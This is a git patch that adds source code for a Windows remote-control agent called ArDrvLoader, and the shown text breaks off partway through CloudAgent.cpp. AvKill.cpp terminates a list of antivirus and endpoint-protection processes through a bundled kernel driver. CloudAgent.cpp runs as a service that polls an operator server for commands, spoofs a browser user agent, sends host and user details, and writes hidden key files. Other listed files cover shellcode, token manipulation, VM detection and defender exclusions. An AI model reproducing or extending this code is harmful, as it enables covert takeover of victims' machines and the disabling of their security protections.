From 26642f28a2642717c2e9ebc9ed5d81f8e5bd5331 Mon Sep 17 00:00:00 2001 From: My Name Date: Tue, 3 Nov 2026 20:26:30 -0800 Subject: [PATCH] Init commit --- .gitignore | 70 + ArDrvLoader.sln | 21 + ArDrvLoader.vcxproj | 137 ++ ArDrvLoader.vcxproj.filters | 113 ++ AvKill.cpp | 74 + AvKill.h | 10 + CloudAgent.cpp | 3464 +++++++++++++++++++++++++++++++++++ CloudAgent.h | 20 + Common.h | 21 + DriverClient.cpp | 377 ++++ DriverClient.h | 20 + Exclusions.cpp | 329 ++++ Exclusions.h | 28 + GuardService.cpp | 1826 ++++++++++++++++++ GuardService.h | 11 + HostSpawn.cpp | 445 +++++ HostSpawn.h | 53 + HostStager.cpp | 367 ++++ HostStager.h | 50 + KillSafety.cpp | 451 +++++ KillSafety.h | 53 + Logger.cpp | 55 + Logger.h | 24 + Paths.cpp | 229 +++ Paths.h | 26 + ProcessUtils.cpp | 212 +++ ProcessUtils.h | 33 + README.md | 410 +++++ SERVICES.md | 1107 +++++++++++ ServiceManager.cpp | 267 +++ ServiceManager.h | 21 + ShellcodeUtils.cpp | 253 +++ ShellcodeUtils.h | 17 + StageClient.cpp | 418 +++++ StageClient.h | 26 + StageDll.cpp | 299 +++ StageDll.vcxproj | 79 + TokenUtils.cpp | 327 ++++ TokenUtils.h | 9 + VmDetect.cpp | 487 +++++ VmDetect.h | 13 + agent-cli.ps1 | 107 ++ agent.cmd | 32 + ardrv.sys | Bin 0 -> 17744 bytes build.ps1 | 94 + cloudflare/mock-worker.ps1 | 466 +++++ cloudflare/worker.js | 62 + cloudflare/wrangler.toml | 19 + driver_res.rc | 8 + main.cpp | 823 +++++++++ resource.h | 9 + send-command.ps1 | 67 + server/.env.example | 21 + server/panel.html | 924 ++++++++++ server/server.js | 492 +++++ stage_res.rc | 9 + test-cloud.ps1 | 298 +++ 57 files changed, 15683 insertions(+) create mode 100644 .gitignore create mode 100644 ArDrvLoader.sln create mode 100644 ArDrvLoader.vcxproj create mode 100644 ArDrvLoader.vcxproj.filters create mode 100644 AvKill.cpp create mode 100644 AvKill.h create mode 100644 CloudAgent.cpp create mode 100644 CloudAgent.h create mode 100644 Common.h create mode 100644 DriverClient.cpp create mode 100644 DriverClient.h create mode 100644 Exclusions.cpp create mode 100644 Exclusions.h create mode 100644 GuardService.cpp create mode 100644 GuardService.h create mode 100644 HostSpawn.cpp create mode 100644 HostSpawn.h create mode 100644 HostStager.cpp create mode 100644 HostStager.h create mode 100644 KillSafety.cpp create mode 100644 KillSafety.h create mode 100644 Logger.cpp create mode 100644 Logger.h create mode 100644 Paths.cpp create mode 100644 Paths.h create mode 100644 ProcessUtils.cpp create mode 100644 ProcessUtils.h create mode 100644 README.md create mode 100644 SERVICES.md create mode 100644 ServiceManager.cpp create mode 100644 ServiceManager.h create mode 100644 ShellcodeUtils.cpp create mode 100644 ShellcodeUtils.h create mode 100644 StageClient.cpp create mode 100644 StageClient.h create mode 100644 StageDll.cpp create mode 100644 StageDll.vcxproj create mode 100644 TokenUtils.cpp create mode 100644 TokenUtils.h create mode 100644 VmDetect.cpp create mode 100644 VmDetect.h create mode 100644 agent-cli.ps1 create mode 100644 agent.cmd create mode 100644 ardrv.sys create mode 100644 build.ps1 create mode 100644 cloudflare/mock-worker.ps1 create mode 100644 cloudflare/worker.js create mode 100644 cloudflare/wrangler.toml create mode 100644 driver_res.rc create mode 100644 main.cpp create mode 100644 resource.h create mode 100644 send-command.ps1 create mode 100644 server/.env.example create mode 100644 server/panel.html create mode 100644 server/server.js create mode 100644 stage_res.rc create mode 100644 test-cloud.ps1 diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..8b9f705 --- /dev/null +++ b/.gitignore @@ -0,0 +1,70 @@ +# ── Visual Studio ──────────────────────────────────────────────── +.vs/ +*.sln.docstates +*.suo +*.user +*.rsuser +*.VC.db +*.VC.VC.opendb +*.psess +*.vsp +*.vspx +*.sap + +# ── Build output / MSBuild intermediates ───────────────────────── +x64/ +Debug/ +Release/ +dist/ +obj/ +bin/ +*.obj +*.res +*.tlog +*.recipe +*.ilk +*.iobj +*.ipdb +*.idb +*.pdb +*.lastbuildstate +*.cache +*.log + +# ── Generated binaries (build.ps1 rebuilds these) ──────────────── +*.exe +*.dll +ardrvstage.dll +ArDrvLoader.exe + +# ── Node / server ──────────────────────────────────────────────── +node_modules/ +npm-debug.log* +yarn-error.log* +pnpm-debug.log* +package-lock.json.bak + +# ── Server runtime data (SQLite db, WAL/SHM) ───────────────────── +server/data/ +*.sqlite +*.sqlite-wal +*.sqlite-shm +*.db + +# ── Secrets / local config ─────────────────────────────────────── +.env +.env.local +.env.*.local +cloudflare/.dev.vars +cloudflare/.wrangler/ + +# ── Temp / misc ────────────────────────────────────────────────── +*.tmp +*.temp +*.bak +*.orig +*.swp +*~ +Thumbs.db +desktop.ini +.DS_Store diff --git a/ArDrvLoader.sln b/ArDrvLoader.sln new file mode 100644 index 0000000..d8d2a99 --- /dev/null +++ b/ArDrvLoader.sln @@ -0,0 +1,21 @@ +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.0.31903.59 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ArDrvLoader", "ArDrvLoader.vcxproj", "{8F0F2E5A-7A31-4A6C-8F51-0A8F0A7A1B2C}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {8F0F2E5A-7A31-4A6C-8F51-0A8F0A7A1B2C}.Debug|x64.ActiveCfg = Debug|x64 + {8F0F2E5A-7A31-4A6C-8F51-0A8F0A7A1B2C}.Debug|x64.Build.0 = Debug|x64 + {8F0F2E5A-7A31-4A6C-8F51-0A8F0A7A1B2C}.Release|x64.ActiveCfg = Release|x64 + {8F0F2E5A-7A31-4A6C-8F51-0A8F0A7A1B2C}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/ArDrvLoader.vcxproj b/ArDrvLoader.vcxproj new file mode 100644 index 0000000..46a6f27 --- /dev/null +++ b/ArDrvLoader.vcxproj @@ -0,0 +1,137 @@ + + + + + Debug + x64 + + + Release + x64 + + + + + 17.0 + {8F0F2E5A-7A31-4A6C-8F51-0A8F0A7A1B2C} + ArDrvLoader + 10.0 + + + + + + Application + true + $(DefaultPlatformToolset) + Unicode + + + + Application + false + $(DefaultPlatformToolset) + true + Unicode + + + + + + + + + + + true + + + + + Level3 + true + _DEBUG;WIN32_LEAN_AND_MEAN;UNICODE;_UNICODE;_CRT_SECURE_NO_WARNINGS;ARDRV_DEFAULT_URL=L"http://127.0.0.1:8789";ARDRV_DEFAULT_OPERATOR_KEY=L"testop";ARDRV_DEFAULT_SECRET=L"testsecret";ARDRV_DEFAULT_AGENT=L"";ARDRV_ALLOW_VM_DEFAULT=1;%(PreprocessorDefinitions) + stdcpp17 + + + Console + + + + + + Level3 + true + NDEBUG;WIN32_LEAN_AND_MEAN;UNICODE;_UNICODE;_CRT_SECURE_NO_WARNINGS;ARDRV_DEFAULT_URL=L"http://127.0.0.1:8789";ARDRV_DEFAULT_OPERATOR_KEY=L"testop";ARDRV_DEFAULT_SECRET=L"testsecret";ARDRV_DEFAULT_AGENT=L"";ARDRV_ALLOW_VM_DEFAULT=1;%(PreprocessorDefinitions) + stdcpp17 + MaxSpeed + true + true + + + Windows + wmainCRTStartup + true + /Brepro /PDBALTPATH:%_PDB% %(AdditionalOptions) + true + + + + + + HAVE_DRIVER_IMAGE;%(PreprocessorDefinitions) + + + HAVE_STAGE_DLL;%(PreprocessorDefinitions) + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ArDrvLoader.vcxproj.filters b/ArDrvLoader.vcxproj.filters new file mode 100644 index 0000000..57a5c88 --- /dev/null +++ b/ArDrvLoader.vcxproj.filters @@ -0,0 +1,113 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + + + + + diff --git a/AvKill.cpp b/AvKill.cpp new file mode 100644 index 0000000..d43aa2b --- /dev/null +++ b/AvKill.cpp @@ -0,0 +1,74 @@ +#include "Common.h" +#include "AvKill.h" +#include "KillSafety.h" +#include "Logger.h" + +#include +#include + +static const wchar_t* kAvImages[] = +{ + L"MsMpEng.exe", + L"NisSrv.exe", + L"MpCmdRun.exe", + L"avast.exe", + L"AvastUI.exe", + L"AvastSvc.exe", + L"avguard.exe", + L"avgnt.exe", + L"AvgSvc.exe", + L"avp.exe", + L"klnagent.exe", + L"klheads.exe", + L"kxetray.exe", + L"ekrn.exe", + L"ESETSvc.exe", + L"mcshield.exe", + L"mfemms.exe", + L"sophosclean.exe", + L"SAVService.exe", + L"ccSvcHst.exe", + L"smc.exe", + L"bdagent.exe", + L"vsserv.exe", +}; + +static std::vector AvImageList() +{ + std::vector v; + + for (const wchar_t* n : kAvImages) + v.emplace_back(n); + + return v; +} + +bool KillAVProcesses() +{ + KillReport report; + + // Env switch lets you watch the decision path without terminating anything. + wchar_t dry[8]{}; + DWORD n = GetEnvironmentVariableW(L"ARDRV_KILL_DRYRUN", dry, _countof(dry)); + const bool dryRun = n > 0 && (dry[0] == L'1' || dry[0] == L'y' || dry[0] == L'Y'); + + KillProcessesSafe(AvImageList(), dryRun, 16, report, true); + + Log(L"[+] AV kill: %s", report.Format().c_str()); + + wprintf(L"[killav] %s\n", report.Format().c_str()); + return true; +} + +bool KillAVProcessesEx(bool dryRun, std::wstring& summary) +{ + KillReport report; + + KillProcessesSafe(AvImageList(), dryRun, 16, report, true); + + summary = report.Format(); + + Log(L"[+] AV kill: %s", summary.c_str()); + return report.killed > 0; +} + diff --git a/AvKill.h b/AvKill.h new file mode 100644 index 0000000..8de2890 --- /dev/null +++ b/AvKill.h @@ -0,0 +1,10 @@ +#pragma once + +#include + +// Safe AV termination through the driver: identity-checked, protected-list +// aware, capped. Honours ARDRV_KILL_DRYRUN=1. +bool KillAVProcesses(); + +// Same, with an explicit dry-run switch and a report string for the cloud ACK. +bool KillAVProcessesEx(bool dryRun, std::wstring& summary); diff --git a/CloudAgent.cpp b/CloudAgent.cpp new file mode 100644 index 0000000..da1741d --- /dev/null +++ b/CloudAgent.cpp @@ -0,0 +1,3464 @@ +#include "Common.h" +#include "CloudAgent.h" + +#include "Logger.h" +#include "TokenUtils.h" +#include "DriverClient.h" +#include "ProcessUtils.h" +#include "ShellcodeUtils.h" +#include "AvKill.h" +#include "ServiceManager.h" +#include "GuardService.h" +#include "VmDetect.h" +#include "HostSpawn.h" +#include "HostStager.h" +#include "Paths.h" +#include "StageClient.h" +#include "Exclusions.h" + +#include +#include +#include + +#include +// Build-time defaults so the exe can run with no arguments at all (double-click). +#ifndef ARDRV_DEFAULT_URL +#define ARDRV_DEFAULT_URL L"" +#endif +#ifndef ARDRV_DEFAULT_OPERATOR_KEY +#define ARDRV_DEFAULT_OPERATOR_KEY L"" +#endif +#ifndef ARDRV_DEFAULT_SECRET +#define ARDRV_DEFAULT_SECRET L"" +#endif +#ifndef ARDRV_DEFAULT_AGENT +#define ARDRV_DEFAULT_AGENT L"" +#endif +#include +#include +#include +#include +#include + +#pragma comment(lib, "winhttp.lib") +#pragma comment(lib, "shell32.lib") + +#ifndef INTERNET_SCHEME_HTTPS +#define INTERNET_SCHEME_HTTPS 2 +#endif + +#ifndef WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_2 +#define WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_2 0x00000800 +#endif + +struct CloudConfig +{ + std::wstring agent; + std::wstring url; + std::wstring secret; + DWORD intervalMs = 15000; + + bool startDriver = true; + bool elevatedRequested = false; + + std::wstring startupFile; + std::wstring startupArgs; + std::wstring startupCommand; + bool startupAsUser = false; +}; + +static CloudConfig g_activeCloudConfig; +static CloudConfig g_serviceConfig; +static bool g_allowVm = false; +static bool g_serviceConfigValid = false; + +struct CloudCommand +{ + std::wstring id; + std::wstring text; +}; + +static SERVICE_STATUS_HANDLE g_serviceStatusHandle = nullptr; +static SERVICE_STATUS g_serviceStatus{}; +static HANDLE g_serviceStopEvent = nullptr; +static std::wstring g_serviceName = L"ArDrvAgent"; + +static void ReportServiceStatus(DWORD state, DWORD exitCode = 0, DWORD waitHint = 0) +{ + if (!g_serviceStatusHandle) + return; + + static DWORD checkPoint = 1; + + g_serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; + g_serviceStatus.dwCurrentState = state; + g_serviceStatus.dwWin32ExitCode = exitCode; + g_serviceStatus.dwWaitHint = waitHint; + g_serviceStatus.dwControlsAccepted = + (state == SERVICE_RUNNING) ? SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN : 0; + + if (state == SERVICE_START_PENDING || state == SERVICE_STOP_PENDING) + g_serviceStatus.dwCheckPoint = checkPoint++; + else + g_serviceStatus.dwCheckPoint = 0; + + SetServiceStatus(g_serviceStatusHandle, &g_serviceStatus); +} + +static DWORD WINAPI ServiceCtrlHandler(DWORD control, DWORD eventType, void* eventData, void* context) +{ + (void)eventType; + (void)eventData; + (void)context; + + switch (control) + { + case SERVICE_CONTROL_STOP: + case SERVICE_CONTROL_SHUTDOWN: + ReportServiceStatus(SERVICE_STOP_PENDING, NO_ERROR, 5000); + if (g_serviceStopEvent) + SetEvent(g_serviceStopEvent); + return NO_ERROR; + + case SERVICE_CONTROL_INTERROGATE: + return NO_ERROR; + + default: + return ERROR_CALL_NOT_IMPLEMENTED; + } +} + +static void TrimW(std::wstring& s) +{ + size_t a = 0; + size_t b = s.size(); + + while (a < b && iswspace(s[a])) + ++a; + + while (b > a && iswspace(s[b - 1])) + --b; + + if (a != 0 || b != s.size()) + s = s.substr(a, b - a); +} + +static std::wstring Utf16(const std::string& s) +{ + if (s.empty()) + return std::wstring(); + + int n = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), nullptr, 0); + if (n <= 0) + return std::wstring(); + + std::wstring w((size_t)n, L'\0'); + MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), w.data(), n); + return w; +} + +static std::string Utf8(const std::wstring& w) +{ + if (w.empty()) + return std::string(); + + int n = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), nullptr, 0, nullptr, nullptr); + if (n <= 0) + return std::string(); + + std::string s((size_t)n, '\0'); + WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), s.data(), n, nullptr, nullptr); + return s; +} + +static int Base64Val(int c) +{ + if (c >= 'A' && c <= 'Z') return c - 'A'; + if (c >= 'a' && c <= 'z') return c - 'a' + 26; + if (c >= '0' && c <= '9') return c - '0' + 52; + if (c == '+') return 62; + if (c == '/') return 63; + return -1; +} + +static std::string Base64Decode(const std::string& input) +{ + std::string clean; + clean.reserve(input.size()); + + for (char c : input) + { + if (c == ' ' || c == '\r' || c == '\n' || c == '\t') + continue; + + clean.push_back(c); + } + + std::string out; + out.reserve(clean.size()); + + int value = 0; + int bits = 0; + + for (char c : clean) + { + if (c == '=') + break; + + int v = Base64Val((unsigned char)c); + if (v < 0) + continue; + + value = (value << 6) | v; + bits += 6; + + if (bits >= 8) + { + bits -= 8; + out.push_back((char)((value >> bits) & 0xFF)); + } + } + + return out; +} + +static std::string Base64Encode(const std::string& input) +{ + static const char* tbl = + "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + "abcdefghijklmnopqrstuvwxyz" + "0123456789+/"; + + std::string out; + int val = 0; + int bits = 0; + + for (unsigned char c : input) + { + val = (val << 8) | c; + bits += 8; + + while (bits >= 6) + { + bits -= 6; + out.push_back(tbl[(val >> bits) & 0x3F]); + } + } + + if (bits > 0) + out.push_back(tbl[((val << (6 - bits)) & 0x3F)]); + + while (out.size() % 4) + out.push_back('='); + + return out; +} + +static std::string Base64EncodeUtf16LE(const std::wstring& w) +{ + if (w.empty()) + return std::string(); + + std::string bytes; + bytes.resize(w.size() * sizeof(wchar_t)); + memcpy(bytes.data(), w.data(), bytes.size()); + + return Base64Encode(bytes); +} + +static std::wstring UrlEncode(const std::wstring& s) +{ + std::string u = Utf8(s); + std::string out; + + for (unsigned char c : u) + { + bool keep = + (c >= 'a' && c <= 'z') || + (c >= 'A' && c <= 'Z') || + (c >= '0' && c <= '9') || + (c == '-') || (c == '_') || (c == '.') || (c == '~'); + + if (keep) + { + out.push_back((char)c); + } + else + { + char buf[8]{}; + sprintf_s(buf, "%%%02X", c); + out += buf; + } + } + + return Utf16(out); +} + +static std::string HexLower(const BYTE* data, DWORD len) +{ + static const char* digits = "0123456789abcdef"; + + std::string out; + out.reserve(len * 2); + + for (DWORD i = 0; i < len; ++i) + { + out.push_back(digits[(data[i] >> 4) & 0xF]); + out.push_back(digits[data[i] & 0xF]); + } + + return out; +} + +// Raw SHA-256 of a byte string. +static std::string Sha256Raw(const std::string& data) +{ + std::string out; + + HCRYPTPROV prov = 0; + HCRYPTHASH hash = 0; + + if (!CryptAcquireContextW(&prov, nullptr, nullptr, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) + return out; + + if (CryptCreateHash(prov, CALG_SHA_256, 0, 0, &hash)) + { + const BYTE empty = 0; + const BYTE* ptr = data.empty() ? &empty : (const BYTE*)data.data(); + + if (data.empty() || CryptHashData(hash, ptr, (DWORD)data.size(), 0)) + { + BYTE digest[32]{}; + DWORD len = sizeof(digest); + + if (CryptGetHashParam(hash, HP_HASHVAL, digest, &len, 0)) + out.assign((const char*)digest, len); + } + + CryptDestroyHash(hash); + } + + CryptReleaseContext(prov, 0); + return out; +} + +static std::string Sha256HexOfBytes(const std::string& data) +{ + std::string raw = Sha256Raw(data); + + if (raw.empty()) + return std::string(); + + return HexLower((const BYTE*)raw.data(), (DWORD)raw.size()); +} + +// HMAC-SHA256 built on the plain digest so it does not depend on CryptoAPI +// HMAC key handling. +static std::string HmacSha256Raw(const std::string& keyIn, const std::string& message) +{ + std::string key = keyIn; + + if (key.size() > 64) + key = Sha256Raw(key); + + key.resize(64, '\0'); + + std::string ipad(64, '\0'); + std::string opad(64, '\0'); + + for (size_t i = 0; i < 64; ++i) + { + ipad[i] = (char)((unsigned char)key[i] ^ 0x36); + opad[i] = (char)((unsigned char)key[i] ^ 0x5C); + } + + return Sha256Raw(opad + Sha256Raw(ipad + message)); +} + +static std::string HmacSha256Hex(const std::string& key, const std::string& message) +{ + std::string raw = HmacSha256Raw(key, message); + + if (raw.empty()) + return std::string(); + + return HexLower((const BYTE*)raw.data(), (DWORD)raw.size()); +} + +static unsigned long long UnixTimeNow() +{ + FILETIME ft{}; + GetSystemTimeAsFileTime(&ft); + + ULARGE_INTEGER u{}; + u.LowPart = ft.dwLowDateTime; + u.HighPart = ft.dwHighDateTime; + + return (u.QuadPart - 116444736000000000ULL) / 10000000ULL; +} + +// Header-safe agent id: no CR/LF, no separators that break the canonical string. +static std::wstring SanitizeAgentId(const std::wstring& agent) +{ + std::wstring out; + + for (wchar_t ch : agent) + { + if ((ch >= L'a' && ch <= L'z') || + (ch >= L'A' && ch <= L'Z') || + (ch >= L'0' && ch <= L'9') || + ch == L'.' || ch == L'_' || ch == L'-') + { + out.push_back(ch); + } + } + + if (out.size() > 64) + out.resize(64); + + return out; +} + +// Request signature: HMAC(secret, agent \n ts \n method \n path \n sha256hex(body)) +static std::wstring BuildRequestSignature( + const CloudConfig& cfg, + const std::wstring& method, + const std::wstring& path, + const std::string& body, + std::wstring& timestampOut) +{ + std::wstring agent = SanitizeAgentId(cfg.agent); + unsigned long long now = UnixTimeNow(); + + timestampOut = std::to_wstring(now); + + std::string canonical = + Utf8(agent) + "\n" + + Utf8(timestampOut) + "\n" + + Utf8(method) + "\n" + + Utf8(path) + "\n" + + Sha256HexOfBytes(body); + + return Utf16(HmacSha256Hex(Utf8(cfg.secret), canonical)); +} + +// Per-agent key issued by /api/enroll and stored beside the host tracking file. +static std::wstring AgentKeyPath(const std::wstring& agent) +{ + std::wstring safe; + + for (wchar_t c : agent) + { + if ((c >= L'a' && c <= L'z') || (c >= L'A' && c <= L'Z') || + (c >= L'0' && c <= L'9') || c == L'.' || c == L'_' || c == L'-') + { + safe.push_back(c); + } + } + + return ArdrvRoot() + L"\\agent-" + safe + L".key"; +} + +static std::wstring ReadAgentKeyFile(const std::wstring& agent) +{ + HANDLE h = CreateFileW( + AgentKeyPath(agent).c_str(), + GENERIC_READ, + FILE_SHARE_READ, + nullptr, + OPEN_EXISTING, + 0, + nullptr); + + if (h == INVALID_HANDLE_VALUE) + { + // Legacy single-key layout: one agent.key per machine root. + h = CreateFileW( + (ArdrvRoot() + L"\\agent.key").c_str(), + GENERIC_READ, + FILE_SHARE_READ, + nullptr, + OPEN_EXISTING, + 0, + nullptr); + } + + if (h == INVALID_HANDLE_VALUE) + return std::wstring(); + + char buf[512]{}; + DWORD read = 0; + ReadFile(h, buf, sizeof(buf) - 1, &read, nullptr); + CloseHandle(h); + + std::wstring out; + + for (DWORD i = 0; i < read; ++i) + { + char c = buf[i]; + + if (c == '\r' || c == '\n' || c == ' ') + continue; + + out.push_back((wchar_t)c); + } + + return out; +} + +static bool WriteAgentKeyFile(const std::wstring& agent, const std::wstring& secret) +{ + std::string bytes = Utf8(secret); + + HANDLE h = CreateFileW( + AgentKeyPath(agent).c_str(), + GENERIC_WRITE, + 0, + nullptr, + CREATE_ALWAYS, + FILE_ATTRIBUTE_HIDDEN, + nullptr); + + if (h == INVALID_HANDLE_VALUE) + return false; + + DWORD written = 0; + BOOL ok = WriteFile(h, bytes.data(), (DWORD)bytes.size(), &written, nullptr); + CloseHandle(h); + + return ok && written == bytes.size(); +} + +static std::wstring JsonStringField(const std::string& json, const char* field) +{ + std::string needle = std::string("\"") + field + "\":\""; + + size_t pos = json.find(needle); + + if (pos == std::string::npos) + return std::wstring(); + + pos += needle.size(); + + size_t end = json.find('"', pos); + + if (end == std::string::npos) + return std::wstring(); + + return Utf16(json.substr(pos, end - pos)); +} + +static std::wstring RegReadString(const wchar_t* name) +{ + std::wstring out; + + HKEY h = nullptr; + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"Software\\CloudAgent", 0, KEY_READ, &h) != ERROR_SUCCESS) + return out; + + DWORD type = 0; + DWORD size = 0; + + if (RegQueryValueExW(h, name, nullptr, &type, nullptr, &size) != ERROR_SUCCESS || + (type != REG_SZ && type != REG_EXPAND_SZ) || + size == 0) + { + RegCloseKey(h); + return out; + } + + std::vector buf(size / sizeof(wchar_t) + 1); + + if (RegQueryValueExW(h, name, nullptr, nullptr, (LPBYTE)buf.data(), &size) == ERROR_SUCCESS) + out = buf.data(); + + RegCloseKey(h); + return out; +} + +static std::wstring ConfigValue(const wchar_t* envName, const wchar_t* regName, const wchar_t* def) +{ + wchar_t env[32768]{}; + DWORD n = GetEnvironmentVariableW(envName, env, _countof(env)); + + if (n > 0 && n < _countof(env)) + return env; + + std::wstring reg = RegReadString(regName); + if (!reg.empty()) + return reg; + + return def ? def : L""; +} + +static bool ParseBoolW(std::wstring v) +{ + for (auto& ch : v) + { + if (ch >= L'A' && ch <= L'Z') + ch = (wchar_t)(ch + 32); + } + + return v == L"1" || + v == L"true" || + v == L"yes" || + v == L"on" || + v == L"enable"; +} + +static bool ConfigBool(const wchar_t* envName, const wchar_t* regName, bool defaultValue) +{ + std::wstring v = ConfigValue(envName, regName, L""); + if (v.empty()) + return defaultValue; + + return ParseBoolW(v); +} + +static std::wstring MakeUrl(const CloudConfig& cfg, const std::wstring& path) +{ + std::wstring url = cfg.url; + if (url.empty()) + return url; + + if (url.back() != L'/') + url += L'/'; + + url += path; + return url; +} + +static bool HttpRequest( + const std::wstring& method, + const std::wstring& url, + const std::wstring& signPath, + const CloudConfig* auth, + const std::string& body, + std::string& response, + DWORD* statusCodeOut, + const std::wstring& extraHeaders = L"") +{ + response.clear(); + + if (statusCodeOut) + *statusCodeOut = 0; + + URL_COMPONENTS parsed{}; + parsed.dwStructSize = sizeof(parsed); + + wchar_t host[512]{}; + wchar_t path[4096]{}; + wchar_t extra[4096]{}; + + parsed.lpszHostName = host; + parsed.dwHostNameLength = _countof(host); + parsed.lpszUrlPath = path; + parsed.dwUrlPathLength = _countof(path); + parsed.lpszExtraInfo = extra; + parsed.dwExtraInfoLength = _countof(extra); + + if (!WinHttpCrackUrl(url.c_str(), 0, 0, &parsed)) + return false; + + std::wstring uHost = host; + std::wstring uPath = path; + + if (uPath.empty()) + uPath = L"/"; + + if (extra[0]) + uPath += extra; + + INTERNET_PORT port = parsed.nPort; + if (port == 0) + { + port = (parsed.nScheme == INTERNET_SCHEME_HTTPS) + ? INTERNET_DEFAULT_HTTPS_PORT + : INTERNET_DEFAULT_HTTP_PORT; + } + + HINTERNET session = WinHttpOpen( + L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", + WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, + WINHTTP_NO_PROXY_NAME, + WINHTTP_NO_PROXY_BYPASS, + 0); + + if (!session) + return false; + + DWORD protocols = WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_2; + WinHttpSetOption(session, WINHTTP_OPTION_SECURE_PROTOCOLS, &protocols, sizeof(protocols)); + WinHttpSetTimeouts(session, 5000, 10000, 15000, 30000); + + HINTERNET connect = WinHttpConnect(session, uHost.c_str(), port, 0); + if (!connect) + { + WinHttpCloseHandle(session); + return false; + } + + DWORD flags = (parsed.nScheme == INTERNET_SCHEME_HTTPS) ? WINHTTP_FLAG_SECURE : 0; + + HINTERNET request = WinHttpOpenRequest( + connect, + method.c_str(), + uPath.c_str(), + nullptr, + WINHTTP_NO_REFERER, + WINHTTP_DEFAULT_ACCEPT_TYPES, + flags); + + if (!request) + { + WinHttpCloseHandle(connect); + WinHttpCloseHandle(session); + return false; + } + + std::wstring headers = L"Accept: application/json, text/plain, */*\r\n"; + + if (auth && !auth->agent.empty() && !auth->secret.empty()) + { + std::wstring timestamp; + std::wstring signature = + BuildRequestSignature(*auth, method, signPath, body, timestamp); + + headers += L"X-Agent-Id: " + SanitizeAgentId(auth->agent) + L"\r\n"; + headers += L"X-Agent-Ts: " + timestamp + L"\r\n"; + headers += L"X-Agent-Sign: " + signature + L"\r\n"; + } + + if (!body.empty()) + headers += L"Content-Type: application/octet-stream\r\n"; + + if (!extraHeaders.empty()) + headers += extraHeaders; + + const wchar_t* hdr = headers.empty() ? nullptr : headers.c_str(); + DWORD hdrLen = hdr ? (DWORD)-1 : 0; + + LPVOID data = body.empty() ? WINHTTP_NO_REQUEST_DATA : (LPVOID)body.data(); + DWORD dataLen = (DWORD)body.size(); + + if (!WinHttpSendRequest(request, hdr, hdrLen, data, dataLen, dataLen, 0)) + { + WinHttpCloseHandle(request); + WinHttpCloseHandle(connect); + WinHttpCloseHandle(session); + return false; + } + + if (!WinHttpReceiveResponse(request, nullptr)) + { + WinHttpCloseHandle(request); + WinHttpCloseHandle(connect); + WinHttpCloseHandle(session); + return false; + } + + if (statusCodeOut) + { + DWORD status = 0; + DWORD size = sizeof(status); + + if (WinHttpQueryHeaders( + request, + WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, + WINHTTP_HEADER_NAME_BY_INDEX, + &status, + &size, + WINHTTP_NO_HEADER_INDEX)) + { + *statusCodeOut = status; + } + } + + DWORD available = 0; + while (WinHttpQueryDataAvailable(request, &available)) + { + if (available == 0) + break; + + size_t oldSize = response.size(); + response.resize(oldSize + available); + + DWORD read = 0; + if (!WinHttpReadData(request, &response[oldSize], available, &read) || read == 0) + break; + + if (read < available) + response.resize(oldSize + read); + } + + WinHttpCloseHandle(request); + WinHttpCloseHandle(connect); + WinHttpCloseHandle(session); + + return true; +} + +static std::wstring GetProcessSidString(); + +// Metadata the panel shows. Sent with every poll, so the agent is listed even +// before its first command runs. +static std::wstring AgentMetaHeaders(const CloudConfig& cfg) +{ + wchar_t host[256]{}; + DWORD hostLen = _countof(host); + GetComputerNameW(host, &hostLen); + + wchar_t user[256]{}; + DWORD userLen = _countof(user); + GetUserNameW(user, &userLen); + + std::wstring meta; + + meta += L"X-Agent-Host: "; + meta += host; + meta += L"\r\n"; + + meta += L"X-Agent-User: "; + meta += user; + meta += L"\r\n"; + + meta += L"X-Agent-Sid: "; + meta += GetProcessSidString(); + meta += L"\r\n"; + + meta += L"X-Agent-Version: 1.1.0\r\n"; + + meta += L"X-Agent-Interval: "; + meta += std::to_wstring(cfg.intervalMs); + meta += L"\r\n"; + + meta += L"X-Agent-System: "; + meta += IsCurrentProcessSystem() ? L"1\r\n" : L"0\r\n"; + + return meta; +} + +static bool PollCommand(const CloudConfig& cfg, CloudCommand& out) +{ + out = CloudCommand(); + + std::wstring path = L"poll?agent=" + UrlEncode(SanitizeAgentId(cfg.agent)); + + std::string body; + DWORD status = 0; + + if 